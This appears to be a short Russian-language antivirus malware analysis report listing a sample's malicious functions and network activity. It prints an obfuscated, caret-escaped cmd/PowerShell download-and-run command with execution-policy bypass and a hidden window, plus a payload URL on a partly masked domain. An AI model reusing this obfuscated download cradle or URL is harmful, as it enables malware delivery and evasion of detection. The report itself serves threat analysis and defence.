Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.pixelsinn.com/learninghub/.git/objects/39/2017_02_17_feb_2.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pow^eRsH^E^L^L.E^xe^ -E^xE^cU^tioNpOl^icY^ ^By^Pa^s^S^ ^-nOpROFIL^e^ -^WinD^O^wSt^y^L^E ^HId^den^ ^(^N^ew-oBjECt ^sYS^tEM.^n^et.We^bc^L^I^eN^t).D^O^WnlOAdfILE('http://www....
Сетевая активность
Подключается к
- 'pi###sinn.com':80
TCP
Запросы HTTP GET
- http://www.pi###sinn.com/learningHub/.git/objects/39/2017_02_17_FEB_2.exe
- http://pi###sinn.com/learningHub/.git/objects/39/2017_02_17_FEB_2.exe
UDP
- DNS ASK pi###sinn.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pow^eRsH^E^L^L.E^xe^ -E^xE^cU^tioNpOl^icY^ ^By^Pa^s^S^ ^-nOpROFIL^e^ -^WinD^O^wSt^y^L^E ^HId^den^ ^(^N^ew-oBjECt ^sYS^tEM.^n^et.We^bc^L^I^eN^t).D^O^WnlOAdfILE('http://www.... (со скрытым окном)
